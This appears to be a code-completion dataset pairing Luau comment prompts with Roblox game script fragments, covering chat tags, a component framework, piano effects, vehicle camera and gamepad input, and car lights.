prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
-- v1.0 --
local player = game.Players.LocalPlayer local PlayButton = script.Parent.AudioPlayerGui.PlayButton local PauseButton = script.Parent.AudioPlayerGui.PauseButton local VolUpButton = script.Parent.AudioPlayerGui.VolUp local VolDownButton = script.Parent.AudioPlayerGui.VolDown local carSeat = script.Parent.CarSeat.Value
--[=[ Loads Nevermore and handles loading! This is a centralized loader that handles the following scenarios: * Specific layouts for npm node_modules * Layouts for node_modules being symlinked * Multiple versions of modules being used in conjunction with each other * Relative path requires * Require by name * Replication to client and server @class Loader ]=]
local ReplicatedStorage = game:GetService("ReplicatedStorage") local ServerScriptService = game:GetService("ServerScriptService") local RunService = game:GetService("RunService") local LegacyLoader = require(script.LegacyLoader) local StaticLegacyLoader = require(script.StaticLegacyLoader) local LoaderUtils = require(script.LoaderUtils) local loader, metatable if RunService:IsRunning() then loader = LegacyLoader.new(script) metatable = { __call = function(_self, value) return loader:Require(value) end; __index = function(_self, key) return loader:Require(key) end; } else loader = StaticLegacyLoader.new() metatable = { __call = function(_self, value) local env = getfenv(2) return loader:Require(env.script, value) end; __index = function(_self, key) local env = getfenv(2) return loader:Require(env.script, key) end; } end
--Incline Compensation
Tune.InclineComp = 1.3 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--!strict
local TextChatService = game:GetService("TextChatService") local Players = game:GetService("Players") TextChatService.OnIncomingMessage = function(message: TextChatMessage) local props = Instance.new("TextChatMessageProperties") if message.TextSource then local player = Players:GetPlayerByUserId(message.TextSource.UserId) if player:GetAttribute("isVIP") == true then props.PrefixText = "<font color='#08fc30'>[VIP]</font> " .. message.PrefixText end end return props end
--[=[ Observes an attribute on an instance. @param instance Instance @param attributeName string @param defaultValue any? @return Observable<any> ]=]
function RxAttributeUtils.observeAttribute(instance, attributeName, defaultValue) assert(typeof(instance) == "Instance", "Bad instance") assert(type(attributeName) == "string", "Bad attributeName") return Observable.new(function(sub) local maid = Maid.new() local function update() local value = instance:GetAttribute(attributeName) if value == nil then sub:Fire(defaultValue) else sub:Fire(value) end end maid:GiveTask(instance:GetAttributeChangedSignal(attributeName):Connect(update)) update() return maid end) end return RxAttributeUtils
-- Initialization
local MapPurgeProof = game.Workspace:FindFirstChild('MapPurgeProof') if not MapPurgeProof then MapPurgeProof = Instance.new('Folder', game.Workspace) MapPurgeProof.Name = 'MapPurgeProof' end
-- initialize to idle
PlayAnimation("Idle", 0.1, Humanoid) Pose = "Standing" while Figure.Parent do local i, Time = Wait(0.1) Move(Time) end
-- Return true if: -- "key": "value has multiple lines\n... -- "key has multiple lines\n...
function hasUnmatchedDoubleQuoteMarks(string_: string): boolean local n = 0 local i = string.find(string_, '"') while i do if i == 1 or string.sub(string_, i - 1, i - 1) ~= "\\" then n = n + 1 end i = string.find(string_, '"', i + 1) end return n % 2 ~= 0 end function isFirstLineOfTag(line: string) return string.find(line, "^[ ]*<") ~= nil end
--function autoLight() -- if Auto_Lights then -- local dusk = {16, 18} -- local night = {18, 6.2}
-- Components will only work on instances parented under these descendants:
local DESCENDANT_WHITELIST = {workspace, Players} local Component = {} Component.__index = Component local componentsByTag = {} local componentByTagCreated = Signal.new() local componentByTagDestroyed = Signal.new() local function IsDescendantOfWhitelist(instance) for _,v in ipairs(DESCENDANT_WHITELIST) do if instance:IsDescendantOf(v) then return true end end return false end function Component.FromTag(tag) return componentsByTag[tag] end function Component.ObserveFromTag(tag, observer) local janitor = Janitor.new() local observeJanitor = Janitor.new() janitor:Add(observeJanitor) local function OnCreated(component) if component._tag == tag then observer(component, observeJanitor) end end local function OnDestroyed(component) if component._tag == tag then observeJanitor:Cleanup() end end do local component = Component.FromTag(tag) if component then task.spawn(OnCreated, component) end end janitor:Add(componentByTagCreated:Connect(OnCreated)) janitor:Add(componentByTagDestroyed:Connect(OnDestroyed)) return janitor end function Component.Auto(folder) local function Setup(moduleScript) local m = require(moduleScript) assert(type(m) == "table", "Expected table for component") assert(type(m.Tag) == "string", "Expected .Tag property") Component.new(m.Tag, m, m.RenderPriority, m.RequiredComponents) end for _,v in ipairs(folder:GetDescendants()) do if v:IsA("ModuleScript") then Setup(v) end end folder.DescendantAdded:Connect(function(v) if v:IsA("ModuleScript") then Setup(v) end end) end function Component.new(tag, class, renderPriority, requireComponents) assert(type(tag) == "string", "Argument #1 (tag) should be a string; got " .. type(tag)) assert(type(class) == "table", "Argument #2 (class) should be a table; got " .. type(class)) assert(type(class.new) == "function", "Class must contain a .new constructor function") assert(type(class.Destroy) == "function", "Class must contain a :Destroy function") assert(componentsByTag[tag] == nil, "Component already bound to this tag") local self = setmetatable({}, Component) self._janitor = Janitor.new() self._lifecycleJanitor = Janitor.new() self._tag = tag self._class = class self._objects = {} self._instancesToObjects = {} self._hasHeartbeatUpdate = (type(class.HeartbeatUpdate) == "function") self._hasSteppedUpdate = (type(class.SteppedUpdate) == "function") self._hasRenderUpdate = (type(class.RenderUpdate) == "function") self._hasInit = (type(class.Init) == "function") self._hasDeinit = (type(class.Deinit) == "function") self._renderPriority = renderPriority or Enum.RenderPriority.Last.Value self._requireComponents = requireComponents or {} self._lifecycle = false self._nextId = 0 self.Added = Signal.new(self._janitor) self.Removed = Signal.new(self._janitor) local observeJanitor = Janitor.new() self._janitor:Add(observeJanitor) local function ObserveTag() local function HasRequiredComponents(instance) for _,reqComp in ipairs(self._requireComponents) do local comp = Component.FromTag(reqComp) if comp:GetFromInstance(instance) == nil then return false end end return true end observeJanitor:Add(CollectionService:GetInstanceAddedSignal(tag):Connect(function(instance) if IsDescendantOfWhitelist(instance) and HasRequiredComponents(instance) then self:_instanceAdded(instance) end end)) observeJanitor:Add(CollectionService:GetInstanceRemovedSignal(tag):Connect(function(instance) self:_instanceRemoved(instance) end)) for _,reqComp in ipairs(self._requireComponents) do local comp = Component.FromTag(reqComp) observeJanitor:Add(comp.Added:Connect(function(obj) if CollectionService:HasTag(obj.Instance, tag) and HasRequiredComponents(obj.Instance) then self:_instanceAdded(obj.Instance) end end)) observeJanitor:Add(comp.Removed:Connect(function(obj) if CollectionService:HasTag(obj.Instance, tag) then self:_instanceRemoved(obj.Instance) end end)) end observeJanitor:Add(function() self:_stopLifecycle() for instance in pairs(self._instancesToObjects) do self:_instanceRemoved(instance) end end) do local b = Instance.new("BindableEvent") for _,instance in ipairs(CollectionService:GetTagged(tag)) do if IsDescendantOfWhitelist(instance) and HasRequiredComponents(instance) then local c = b.Event:Connect(function() self:_instanceAdded(instance) end) b:Fire() c:Disconnect() end end b:Destroy() end end if #self._requireComponents == 0 then ObserveTag() else -- Only observe tag when all required components are available: local tagsReady = {} local function Check() for _,ready in pairs(tagsReady) do if not ready then return end end ObserveTag() end local function Cleanup() observeJanitor:Cleanup() end for _,requiredComponent in ipairs(self._requireComponents) do tagsReady[requiredComponent] = false end for _,requiredComponent in ipairs(self._requireComponents) do self._janitor:Add(Component.ObserveFromTag(requiredComponent, function(_component, janitor) tagsReady[requiredComponent] = true Check() janitor:Add(function() tagsReady[requiredComponent] = false Cleanup() end) end)) end end componentsByTag[tag] = self componentByTagCreated:Fire(self) self._janitor:Add(function() componentsByTag[tag] = nil componentByTagDestroyed:Fire(self) end) return self end function Component:_startHeartbeatUpdate() local all = self._objects self._heartbeatUpdate = RunService.Heartbeat:Connect(function(dt) for _,v in ipairs(all) do v:HeartbeatUpdate(dt) end end) self._lifecycleJanitor:Add(self._heartbeatUpdate) end function Component:_startSteppedUpdate() local all = self._objects self._steppedUpdate = RunService.Stepped:Connect(function(_, dt) for _,v in ipairs(all) do v:SteppedUpdate(dt) end end) self._lifecycleJanitor:Add(self._steppedUpdate) end function Component:_startRenderUpdate() local all = self._objects self._renderName = (self._tag .. "RenderUpdate") RunService:BindToRenderStep(self._renderName, self._renderPriority, function(dt) for _,v in ipairs(all) do v:RenderUpdate(dt) end end) self._lifecycleJanitor:Add(function() RunService:UnbindFromRenderStep(self._renderName) end) end function Component:_startLifecycle() self._lifecycle = true if self._hasHeartbeatUpdate then self:_startHeartbeatUpdate() end if self._hasSteppedUpdate then self:_startSteppedUpdate() end if self._hasRenderUpdate then self:_startRenderUpdate() end end function Component:_stopLifecycle() self._lifecycle = false self._lifecycleJanitor:Cleanup() end function Component:_instanceAdded(instance) if self._instancesToObjects[instance] then return end if not self._lifecycle then self:_startLifecycle() end self._nextId = (self._nextId + 1) local id = (self._tag .. tostring(self._nextId)) if IS_SERVER then instance:SetAttribute(ATTRIBUTE_ID_NAME, id) end local obj = self._class.new(instance) obj.Instance = instance obj._id = id self._instancesToObjects[instance] = obj table.insert(self._objects, obj) if self._hasInit then task.defer(function() if self._instancesToObjects[instance] ~= obj then return end obj:Init() end) end self.Added:Fire(obj) return obj end function Component:_instanceRemoved(instance) if not self._instancesToObjects[instance] then return end self._instancesToObjects[instance] = nil for i,obj in ipairs(self._objects) do if obj.Instance == instance then if self._hasDeinit then obj:Deinit() end if IS_SERVER and instance.Parent and instance:GetAttribute(ATTRIBUTE_ID_NAME) ~= nil then instance:SetAttribute(ATTRIBUTE_ID_NAME, nil) end self.Removed:Fire(obj) obj:Destroy() obj._destroyed = true TableUtil.FastRemove(self._objects, i) break end end if #self._objects == 0 and self._lifecycle then self:_stopLifecycle() end end function Component:GetAll() return TableUtil.CopyShallow(self._objects) end function Component:GetFromInstance(instance) return self._instancesToObjects[instance] end function Component:GetFromID(id) for _,v in ipairs(self._objects) do if v._id == id then return v end end return nil end function Component:Filter(filterFunc) return TableUtil.Filter(self._objects, filterFunc) end function Component:WaitFor(instance, timeout) local isName = (type(instance) == "string") local function IsInstanceValid(obj) return ((isName and obj.Instance.Name == instance) or ((not isName) and obj.Instance == instance)) end for _,obj in ipairs(self._objects) do if IsInstanceValid(obj) then return Promise.Resolve(obj) end end local lastObj = nil return Promise.FromEvent(self.Added, function(obj) lastObj = obj return IsInstanceValid(obj) end):Then(function() return lastObj end):Timeout(timeout or DEFAULT_WAIT_FOR_TIMEOUT) end function Component:Observe(instance, observer) local janitor = Janitor.new() local observeJanitor = Janitor.new() janitor:Add(observeJanitor) janitor:Add(self.Added:Connect(function(obj) if obj.Instance == instance then observer(obj, observeJanitor) end end)) janitor:Add(self.Removed:Connect(function(obj) if obj.Instance == instance then observeJanitor:Cleanup() end end)) for _,obj in ipairs(self._objects) do if obj.Instance == instance then task.spawn(observer, obj, observeJanitor) break end end return janitor end function Component:Destroy() self._janitor:Destroy() end return Component
--Values
local Open = script.Parent.Open.Value local Ready = script.Parent.Ready.Value
---------------------------------- ------------FUNCTIONS------------- ----------------------------------
function UnDigify(digit) if digit < 1 or digit > 61 then return "" elseif digit == 1 then return "1" elseif digit == 2 then return "!" elseif digit == 3 then return "2" elseif digit == 4 then return "@" elseif digit == 5 then return "3" elseif digit == 6 then return "4" elseif digit == 7 then return "$" elseif digit == 8 then return "5" elseif digit == 9 then return "%" elseif digit == 10 then return "6" elseif digit == 11 then return "^" elseif digit == 12 then return "7" elseif digit == 13 then return "8" elseif digit == 14 then return "*" elseif digit == 15 then return "9" elseif digit == 16 then return "(" elseif digit == 17 then return "0" elseif digit == 18 then return "q" elseif digit == 19 then return "Q" elseif digit == 20 then return "w" elseif digit == 21 then return "W" elseif digit == 22 then return "e" elseif digit == 23 then return "E" elseif digit == 24 then return "r" elseif digit == 25 then return "t" elseif digit == 26 then return "T" elseif digit == 27 then return "y" elseif digit == 28 then return "Y" elseif digit == 29 then return "u" elseif digit == 30 then return "i" elseif digit == 31 then return "I" elseif digit == 32 then return "o" elseif digit == 33 then return "O" elseif digit == 34 then return "p" elseif digit == 35 then return "P" elseif digit == 36 then return "a" elseif digit == 37 then return "s" elseif digit == 38 then return "S" elseif digit == 39 then return "d" elseif digit == 40 then return "D" elseif digit == 41 then return "f" elseif digit == 42 then return "g" elseif digit == 43 then return "G" elseif digit == 44 then return "h" elseif digit == 45 then return "H" elseif digit == 46 then return "j" elseif digit == 47 then return "J" elseif digit == 48 then return "k" elseif digit == 49 then return "l" elseif digit == 50 then return "L" elseif digit == 51 then return "z" elseif digit == 52 then return "Z" elseif digit == 53 then return "x" elseif digit == 54 then return "c" elseif digit == 55 then return "C" elseif digit == 56 then return "v" elseif digit == 57 then return "V" elseif digit == 58 then return "b" elseif digit == 59 then return "B" elseif digit == 60 then return "n" elseif digit == 61 then return "m" else return "?" end end function IsBlack(note) if note%12 == 2 or note%12 == 4 or note%12 == 7 or note%12 == 9 or note%12 == 11 then return true end end local TweenService = game:GetService("TweenService") function Tween(obj,Goal,Time,Wait,...) local TwInfo = TweenInfo.new(Time,...) local twn = TweenService:Create(obj, TwInfo, Goal) twn:Play() if Wait then twn.Completed:wait() end return end function clone(part,on) if on and part then local cln = part:Clone() cln.Parent = part local obj = cln local Properties = {} Properties.Position = Vector3.new(cln.Position.x,cln.Position.y + 2.4,cln.Position.z) Properties.Size = Vector3.new(cln.Size.x + 4.8,cln.Size.y,cln.Size.z) Tween(obj,Properties,.2,true,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,true) cln:Destroy() end return end function HighlightPianoKey(note1,transpose) if not Settings.KeyAesthetics then return end local octave = math.ceil(note1/12) local note2 = (note1 - 1)%12 + 1 local k = Piano.Case.Circles[note1] local Upwords = true if k then local key = k:Clone() key.Parent = Piano.Keys.ActiveParts key.Transparency = 0 local obj = key local Properties = {} Properties.CFrame = key.CFrame + key.CFrame.lookVector * -20 Properties.Transparency = 1 Tween(obj,Properties,2,false,Enum.EasingStyle.Linear,Enum.EasingDirection.Out) clone(key,true) wait(.1) clone(key,true) wait(.1) clone(key,true) wait(.1) clone(key,true) wait(.3) key:Destroy() end return end
--[[ END OF SERVICES ]]
local LocalPlayer = PlayersService.LocalPlayer while LocalPlayer == nil do PlayersService.ChildAdded:wait() LocalPlayer = PlayersService.LocalPlayer end local PlayerGui = LocalPlayer:WaitForChild("PlayerGui") local success, UserShouldLocalizeGameChatBubble = pcall(function() return UserSettings():IsUserFeatureEnabled("UserShouldLocalizeGameChatBubble") end) local UserShouldLocalizeGameChatBubble = success and UserShouldLocalizeGameChatBubble local UserFixBubbleChatText do local success, value = pcall(function() return UserSettings():IsUserFeatureEnabled("UserFixBubbleChatText") end) UserFixBubbleChatText = success and value end local UserRoactBubbleChatBeta do local success, value = pcall(function() return UserSettings():IsUserFeatureEnabled("UserRoactBubbleChatBeta") end) UserRoactBubbleChatBeta = success and value end local function getMessageLength(message) return utf8.len(utf8.nfcnormalize(message)) end
-- Services --
local RunService = game:GetService("RunService") local TweenService = game:GetService("TweenService")
-- ROBLOX deviation: omitting fs and types file import and defining in line instead
local CurrentModule = script.Parent local Packages = CurrentModule.Parent
--wait(math.random(0,5)/10)
while true do game:GetService("RunService").Stepped:Wait() local target = findNearestTorso(script.Parent:WaitForChild("HumanoidRootPart").Position) if target ~= nil then script.Parent.Humanoid:MoveTo(target.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10))) wait(math.random(1,2)) end end
--// Firemode Settings
CanSelectFire = false; BurstEnabled = false; SemiEnabled = true; AutoEnabled = true; BoltAction = false; ExplosiveEnabled = false;
--[[ STATIC METHODS ]]
-- function Path.GetNearestCharacter(fromPosition) local character, dist = nil, math.huge for _, player in ipairs(Players:GetPlayers()) do if player.Character and (player.Character.PrimaryPart.Position - fromPosition).Magnitude < dist then character, dist = player.Character, (player.Character.PrimaryPart.Position - fromPosition).Magnitude end end return character end
---Controller
local Controller=false local UserInputService = game:GetService("UserInputService") local LStickX = 0 local RStickX = 0 local RStickY = 0 local RTriggerValue = 0 local LTriggerValue = 0 local ButtonX = 0 local ButtonY = 0 local ButtonL1 = 0 local ButtonR1 = 0 local ButtonR3 = 0 local DPadUp = 0 function DealWithInput(input,IsRobloxFunction) if Controller then if input.KeyCode ==Enum.KeyCode.ButtonX then if input.UserInputState == Enum.UserInputState.Begin then ButtonX=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonX=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonY then if input.UserInputState == Enum.UserInputState.Begin then ButtonY=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonY=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonL1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonL1=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR1=0 end elseif input.KeyCode ==Enum.KeyCode.DPadLeft then if input.UserInputState == Enum.UserInputState.Begin then DPadUp=1 elseif input.UserInputState == Enum.UserInputState.End then DPadUp=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR3=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR3=0 end end if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads if input.KeyCode == Enum.KeyCode.Thumbstick1 then LStickX = input.Position.X elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then RStickX = input.Position.X RStickY = input.Position.Y elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder RTriggerValue = input.Position.Z elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder LTriggerValue = input.Position.Z end end end end UserInputService.InputBegan:connect(DealWithInput) UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too UserInputService.InputEnded:connect(DealWithInput) car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" then for i,v in pairs(Binded) do run:UnbindFromRenderStep(v) end workspace.CurrentCamera.CameraType=Enum.CameraType.Custom workspace.CurrentCamera.FieldOfView=70 player.CameraMaxZoomDistance=200 end end) function Camera() local cam=workspace.CurrentCamera local intcam=false local CRot=0 local CBack=0 local CUp=0 local mode=0 local look=0 local camChange = 0 local function CamUpdate() if not pcall (function() if camChange==0 and DPadUp==1 then intcam = not intcam end camChange=DPadUp if mode==1 then if math.abs(RStickX)>.1 then local sPos=1 if RStickX<0 then sPos=-1 end if intcam then CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80 else CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90 end else CRot=0 end if math.abs(RStickY)>.1 then local sPos=1 if RStickY<0 then sPos=-1 end if intcam then CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30 else CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30) end else CUp=0 end else if CRot>look then CRot=math.max(look,CRot-20) elseif CRot<look then CRot=math.min(look,CRot+20) end CUp=0 end if intcam then CBack=0 else CBack=-180*ButtonR3 end if intcam then cam.CameraSubject=player.Character.Humanoid cam.CameraType=Enum.CameraType.Scriptable cam.FieldOfView=80 + car.DriveSeat.Velocity.Magnitude/12 player.CameraMaxZoomDistance=5 local cf=car.Body.Cam.CFrame if ButtonR3==1 then cf=car.Body.RCam.CFrame end cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,0) else cam.CameraSubject=car.DriveSeat cam.FieldOfView=70 if mode==0 then cam.CameraType=Enum.CameraType.Custom player.CameraMaxZoomDistance=400 run:UnbindFromRenderStep("CamUpdate") else cam.CameraType = "Scriptable" local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500) local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed) cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position) end end end) then cam.FieldOfView=70 cam.CameraSubject=player.Character.Humanoid cam.CameraType=Enum.CameraType.Custom player.CameraMaxZoomDistance=400 run:UnbindFromRenderStep("CamUpdate") end end local function ModeChange() if GMode~=mode then mode=GMode run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate) end end mouse.KeyDown:connect(function(key) if key=="u" then look=90 elseif key=="i" then if intcam then look=180 else look=195 end elseif key=="o" then look=-90 elseif key=="v" then run:UnbindFromRenderStep("CamUpdate") intcam=not intcam run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate) end end) mouse.KeyUp:connect(function(key) if key=="u" and look==90 then look=0 elseif key=="i" and (look==180 or look==195) then look=0 elseif key=="o" and look==-90 then look=0 end end) run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange) table.insert(Binded,"CamUpdate") table.insert(Binded,"CMChange") end Camera() mouse.KeyDown:connect(function(key) if key=="b" then if GMode>=1 then GMode=0 else GMode=GMode+1 end if GMode==1 then Controller=true else Controller=false end end end)
--// Extras
WalkAnimEnabled = true; -- Set to false to disable walking animation, true to enable SwayEnabled = false; -- Set to false to disable sway, true to enable TacticalModeEnabled = true; -- SET THIS TO TRUE TO TURN ON TACTICAL MODEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
-- << VARIABLES >>
local errors = { Player = "Player does not exist!"; }
-- setup emote chat hook
game:GetService("Players").LocalPlayer.Chatted:connect(function(msg) local emote = "" if (string.sub(msg, 1, 3) == "/e ") then emote = string.sub(msg, 4) elseif (string.sub(msg, 1, 7) == "/emote ") then emote = string.sub(msg, 8) end if (pose == "Standing" and emoteNames[emote] ~= nil) then playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid) end end)
-- 6-8
module.Subcategory.Hats = 9 module.Subcategory.Faces = 10 module.Subcategory.Shirts = 12 module.Subcategory.TShirts = 13 module.Subcategory.Pants = 14 module.Subcategory.Heads = 15
--------AUDIENCE BACK RIGHT--------
game.Workspace.audiencebackright1.Part1.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackright1.Part4.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackright1.Part7.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
-- ROBLOX MOVED: expect/jasmineUtils.lua
local function asymmetricMatch(a: any, b: any) local asymmetricA = isAsymmetric(a) local asymmetricB = isAsymmetric(b) if asymmetricA and asymmetricB then return nil end if asymmetricA then return a:asymmetricMatch(b) end if asymmetricB then return b:asymmetricMatch(a) end return nil end
--Front--
local FRAtt1 = Instance.new("Attachment", FRDisk) FRAtt1.Position = Vector3.new(0,1,0) local FRAtt2 = Instance.new("Attachment", FRDisk) FRAtt2.Position = Vector3.new(0,-1,0) local FLAtt1 = Instance.new("Attachment", FLDisk) FLAtt1.Position = Vector3.new(0,1,0) local FLAtt2 = Instance.new("Attachment", FLDisk) FLAtt2.Position = Vector3.new(0,-1,0) local FDIFF1 = Instance.new("SpringConstraint", trans) FDIFF1.Name = "ControlX" FDIFF1.Attachment0 = FRAtt1 FDIFF1.Attachment1 = FLAtt1 local FDIFF2 = Instance.new("SpringConstraint", trans) FDIFF2.Name = "ControlY" FDIFF2.Attachment0 = FRAtt2 FDIFF2.Attachment1 = FLAtt2
--[[ Public API ]]
-- function Gamepad:Enable() local forwardValue = 0 local backwardValue = 0 local leftValue = 0 local rightValue = 0 local moveFunc = LocalPlayer.Move local gamepadSupports = UserInputService.GamepadSupports local controlCharacterGamepad = function(actionName, inputState, inputObject) if inputState == Enum.UserInputState.Cancel then MasterControl:AddToPlayerMovement(-currentMoveVector) currentMoveVector = Vector3.new(0,0,0) return end if activateGamepad ~= inputObject.UserInputType then return end if inputObject.KeyCode ~= Enum.KeyCode.Thumbstick1 then return end if inputObject.Position.magnitude > thumbstickDeadzone then MasterControl:AddToPlayerMovement(-currentMoveVector) currentMoveVector = Vector3.new(inputObject.Position.X, 0, -inputObject.Position.Y) MasterControl:AddToPlayerMovement(currentMoveVector) else MasterControl:AddToPlayerMovement(-currentMoveVector) currentMoveVector = Vector3.new(0,0,0) end end local jumpCharacterGamepad = function(actionName, inputState, inputObject) if inputState == Enum.UserInputState.Cancel then MasterControl:SetIsJumping(false) return end if activateGamepad ~= inputObject.UserInputType then return end if inputObject.KeyCode ~= Enum.KeyCode.ButtonA then return end MasterControl:SetIsJumping(inputObject.UserInputState == Enum.UserInputState.Begin) end local doDpadMoveUpdate = function(userInputType) if LocalPlayer and LocalPlayer.Character then MasterControl:AddToPlayerMovement(-currentMoveVector) currentMoveVector = Vector3.new(leftValue + rightValue,0,forwardValue + backwardValue) MasterControl:AddToPlayerMovement(currentMoveVector) end end local moveForwardFunc = function(actionName, inputState, inputObject) if inputState == Enum.UserInputState.End then forwardValue = -1 elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then forwardValue = 0 end doDpadMoveUpdate(inputObject.UserInputType) end local moveBackwardFunc = function(actionName, inputState, inputObject) if inputState == Enum.UserInputState.End then backwardValue = 1 elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then backwardValue = 0 end doDpadMoveUpdate(inputObject.UserInputType) end local moveLeftFunc = function(actionName, inputState, inputObject) if inputState == Enum.UserInputState.End then leftValue = -1 elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then leftValue = 0 end doDpadMoveUpdate(inputObject.UserInputType) end local moveRightFunc = function(actionName, inputState, inputObject) if inputState == Enum.UserInputState.End then rightValue = 1 elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then rightValue = 0 end doDpadMoveUpdate(inputObject.UserInputType) end local function setActivateGamepad() if activateGamepad then ContextActionService:UnbindActivate(activateGamepad, Enum.KeyCode.ButtonR2) end assignActivateGamepad() if activateGamepad then ContextActionService:BindActivate(activateGamepad, Enum.KeyCode.ButtonR2) end end ContextActionService:BindAction("JumpButton",jumpCharacterGamepad, false, Enum.KeyCode.ButtonA) ContextActionService:BindAction("MoveThumbstick",controlCharacterGamepad, false, Enum.KeyCode.Thumbstick1) setActivateGamepad() if not gamepadSupports(UserInputService, activateGamepad, Enum.KeyCode.Thumbstick1) then -- if the gamepad supports thumbsticks, theres no point in having the dpad buttons getting eaten up by these actions ContextActionService:BindAction("forwardDpad", moveForwardFunc, false, Enum.KeyCode.DPadUp) ContextActionService:BindAction("backwardDpad", moveBackwardFunc, false, Enum.KeyCode.DPadDown) ContextActionService:BindAction("leftDpad", moveLeftFunc, false, Enum.KeyCode.DPadLeft) ContextActionService:BindAction("rightDpad", moveRightFunc, false, Enum.KeyCode.DPadRight) end gamepadConnectedCon = UserInputService.GamepadDisconnected:connect(function(gamepadEnum) if activateGamepad ~= gamepadEnum then return end MasterControl:AddToPlayerMovement(-currentMoveVector) currentMoveVector = Vector3.new(0,0,0) activateGamepad = nil setActivateGamepad() end) gamepadDisconnectedCon = UserInputService.GamepadConnected:connect(function(gamepadEnum) if activateGamepad == nil then setActivateGamepad() end end) end function Gamepad:Disable() ContextActionService:UnbindAction("forwardDpad") ContextActionService:UnbindAction("backwardDpad") ContextActionService:UnbindAction("leftDpad") ContextActionService:UnbindAction("rightDpad") ContextActionService:UnbindAction("MoveThumbstick") ContextActionService:UnbindAction("JumpButton") ContextActionService:UnbindActivate(activateGamepad, Enum.KeyCode.ButtonR2) if gamepadConnectedCon then gamepadConnectedCon:disconnect() end if gamepadDisconnectedCon then gamepadDisconnectedCon:disconnect() end activateGamepad = nil MasterControl:AddToPlayerMovement(-currentMoveVector) currentMoveVector = Vector3.new(0,0,0) MasterControl:SetIsJumping(false) end return Gamepad
--Lean Gyro
lean = Instance.new("BodyGyro") lean.Parent = bal lean.Name = "LeanGyro" lean.D = _Tune.LeanD lean.MaxTorque = Vector3.new(0,0,_Tune.LeanMaxTorque) lean.P = _Tune.LeanP
--//SS6 PLUGIN; LIGHTS AND INDICATORS//--
--//INSPARE 2017//-- script.Parent.Parent.Parent.Parent.Parent.Parent:WaitForChild("FL") local flw local frw local rlw local rrw for _,i in pairs(script.Parent.Parent.Parent.Parent.Parent.Parent.FL:GetChildren()) do if i:IsA("Part") and i.Shape == Enum.PartType.Ball then flw = i end end for _,i in pairs(script.Parent.Parent.Parent.Parent.Parent.Parent.FR:GetChildren()) do if i:IsA("Part") and i.Shape == Enum.PartType.Ball then frw = i end end for _,i in pairs(script.Parent.Parent.Parent.Parent.Parent.Parent.RL:GetChildren()) do if i:IsA("Part") and i.Shape == Enum.PartType.Ball then rlw = i end end for _,i in pairs(script.Parent.Parent.Parent.Parent.Parent.Parent.RR:GetChildren()) do if i:IsA("Part") and i.Shape == Enum.PartType.Ball then rrw = i end end a = Instance.new("Part") a.Size = Vector3.new(1,1,1) a.CanCollide = false a.Anchored = true a.Parent = script.Parent.Parent.Parent.Parent.Parent a.CFrame = flw.CFrame a.Name = "Lfl" a.Transparency = 1 a.Rotation = script.Parent.Parent.Parent.Parent.Rotation b = Instance.new("Part") b.Size = Vector3.new(1,1,1) b.CanCollide = false b.Anchored = true b.Parent = script.Parent.Parent.Parent.Parent.Parent b.CFrame = frw.CFrame b.Name = "Lfr" b.Transparency = 1 b.Rotation = script.Parent.Parent.Parent.Parent.Rotation c = Instance.new("Part") c.Size = Vector3.new(1,1,1) c.CanCollide = false c.Anchored = true c.Parent = script.Parent.Parent.Parent.Parent.Parent c.CFrame = rlw.CFrame c.Name = "Lrl" c.Transparency = 1 c.Rotation = script.Parent.Parent.Parent.Parent.Rotation d = Instance.new("Part") d.Size = Vector3.new(1,1,1) d.CanCollide = false d.Anchored = true d.Parent = script.Parent.Parent.Parent.Parent.Parent d.CFrame = rrw.CFrame d.Name = "Lrr" d.Transparency = 1 d.Rotation = script.Parent.Parent.Parent.Parent.Rotation aa = Instance.new("SpotLight",a) aa.Name = "hl" aa.Color = Color3.new(1,1,1) 